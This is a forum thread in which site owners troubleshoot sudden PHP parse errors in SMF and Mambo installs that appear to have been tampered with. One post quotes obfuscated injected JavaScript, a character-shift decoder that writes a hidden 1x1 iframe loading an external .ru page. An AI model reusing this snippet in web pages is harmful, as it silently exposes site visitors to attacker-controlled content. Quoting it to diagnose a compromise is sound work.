Jump to content
xisto Community
Logan Deathbringer

Php Parsing Error On Smf On My Site Parse error: parse error, unexpected T_C

Recommended Posts

Parse error: parse error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/jeremy1/public_html/guild_forum/Sources/Subs.php on line 272

thats the error I get when people try to access the forums I run on my website. I've been through the code but can't figure out exactly whats wrong. I'm still quite new to PHP and still have a very limited understanding of it. All I can say for certin is that up untill around 2 p.m. PST the forums were working then around that time they seem to have stopped and started outputing that error message. If anyone can help me it would be greatly appreciated.

Share this post


Link to post
Share on other sites

I get an error too:

Parse error: parse error, unexpected '/' in /home/hercco/public_html/forums/Sources/Post.php on line 1822

There is this javascipt added and have no idea where the hell it came from:

 	<script language="javascript" type="text/javascript">  	var      k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu4<1liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h='';  	  	while(t<=k.length-1)  	{  	  	h=h+String.fromCharCode(k.charCodeAt(t++)-3);  	  	}document.write(h);</script>

Share this post


Link to post
Share on other sites

Well Here is a link to a text version of the Subs.php file. I've been over it a few times and can't seem to see anything that would cause that error, but I'm still quite new to php and can't say that I would see it even if the error was right in front of my face...lol.

Hope ya'll can help me.

Share this post


Link to post
Share on other sites

Easy enough to diagnose: see line 272 of the script:

$pos1 = strpos($db_string, ''', $pos + 1);
There are three single quotes for the seond parameter, which, in essence, defines an empty string, and then a string to continue until the next single quote (causing the unexpected string error message). I'm guessing that the object is to find where a simgle quote appears in the string, so change the three single qutes to an escaped single quote inside two double quotes, like so:
$pos1 = strpos($db_string, "\'", $pos + 1);
Hope this helps.

~Viz

Share this post


Link to post
Share on other sites

Actually, there are several ''' used throughout the program and none of them have the same problem. Additionally, the file wasn't changed by the user. I also have a similar issue.

It's with mambo though. I'll try to figure out the problem.

I'm pretty sure some gloabl element has caused these errors. Maybe a server configuration change.


Here is the first few lines of the file I get an error on

/*** TFS for MAMBO Class* @package TFSforMAMBO* @copyright 2003-2005 PJH Diender* @license [url="http://forums.xisto.com/no_longer_exists/;. GNU Public License* @version $Revision: 2.0.1 $* @author Patrick Diender <webmaster@caffeinecoder.net>*///ensure this file is being included by a parent filedefined('_VALID_MOS') or die ('Direct Access to this location is not allowed.');class TFS_Engine{var $d = null; 			//dayvar $m = null; 			//monthvar $y = null; 			//yearvar $dom = null; 		// domainvar $vid = null; 		// visitors idvar $updatemsg= null; 		//update message used for purgevar $language = null;		//language settingvar $langini = null;		//language setting ini filevar $hourdiff = null;		//hourdiff local vs servervar $onlinetime = null;		//time online in minutes before new visitorvar $startoption = null;	//option for starting statisticsvar $purgetime = null;		//time for purge databasevar $version = null;		//version of scriptvar $MainFrame = null;		//mainframe object MOSvar $task = null;		//task for TFS_Enginefunction TFS_Engine(&$mainframe,$task){global $mosConfig_offset;$this->MainFrame = &$mainframe;$this->task = $task;$sql = "SELECT SQL_BIG_RESULT * FROM #__TFS_configuration";$this->MainFrame->_db->setQuery($sql);$rs = mysql_query($this->MainFrame->_db->_sql);$this->hourdiff = $mosConfig_offset;while($row = mysql_fetch_array($rs)){if ($row['description'] == 'onlinetime'){$this->onlinetime = $row['value'];}if ($row['description'] == 'startoption'){$this->startoption = $row['value'];}if ($row['description'] == 'language'){$this->langini = $row['value'];}if ($row['description'] == 'purgetime'){$this->purgetime = $row['value'];}if ($row['description'] == 'version'){$this->version = $row['value'];}}mysql_free_result($rs);if(file_exists($this->MainFrame->_config->absolute_path.'/administrator/components/com_tfsformambo/language/'.$this->langini.'.ini.php')){//include language support$this->language = parse_ini_file($this->MainFrame->_config->absolute_path.'/administrator/components/com_tfsformambo/language/'.$this->langini.'.ini.php',true);}else{//include language support$this->language = parse_ini_file($this->MainFrame->_config->absolute_path.'/administrator/components/com_tfsformambo/language/en.ini.php',true);}	// calculate time diff from server time to local time$visittime = (time() + ($this->hourdiff * 3600));					if(!isset($_GET['d'])){$this->d = date('j',$visittime);}else{$this->d = $_GET['d'];}


Again this is a parse error and I have never edited this file. It worked a few days ago but not now.

Parse error: parse error, unexpected T_VARIABLE, expecting ',' or ';' in /home/xxxxxxxx/public_html/xxxxx/xxxxxxxxx/components/com_tfsformambo/admin.tfsformambo.html.php on line 150

Here is lines 137 to 160:
if ($row['description'] == 'purgetime'){$this->purgetime = $row['value'];}if ($row['description'] == 'version'){$this->version = $row['value'];}}mysql_free_result($rs);


vujsa

Share this post


Link to post
Share on other sites

I noticed some triple (''') at my site too. Also there are files in the forum folders that do not belong there. In my SMF Sources/ there are files called base.php, include.php and create.php. All files empty. I have emailed support.

Share this post


Link to post
Share on other sites

I uninstalled and reinstalled the corrupt component and it works now. I suggest backing up your databases, files and reinstall your faulty script. It will fix your problem more than likely.vujsa

Share this post


Link to post
Share on other sites

ok will do then will post the results...one question before I do though. Should I just replace the Subs.php file or uninstall the whole forum and then reinstall it again? If I have to reinstall the whole thing I think I might try a different forums system not sure though will wait till I get a reply.

Share this post


Link to post
Share on other sites

ok I replaced the files in the Sources directory and now I'm not getting a parsing error now it says that there is a problem with the templets...will try to reinstall the templet but not sure how to reset the forum to the default templet without having direct access to the admin panel. Vujsa once helped me through a problem like this once before but I can't remember how it was done...lol...and I forgot to put it down in my growing note book of badly written and hardly ledgible handwritting...lol.If anyone could help me with this new problem I would greatly appreciate it.

Share this post


Link to post
Share on other sites

Okay Logan sorry about IRC, been working on something and I got distracted.

 

Once you get everything working properly again, you'll need to go the the SMF admin panel and create a database backup.

Admin > Forum Maitainence > Backup Database

[X] Save the table structure.

[X] Save the table data. (the important stuff.)

[X] Compress the file with gzip.

[Download]

 

The same thing can be done in you account cPanel by using phpMyAdmin select the required database and click the export tab. This is a little more involved but provides for a better backup if done correctly.

 

Hope this helps a little.

 

vujsa

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.

×
×
  • Create New...

Important Information

Terms of Use | Privacy Policy | Guidelines | We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.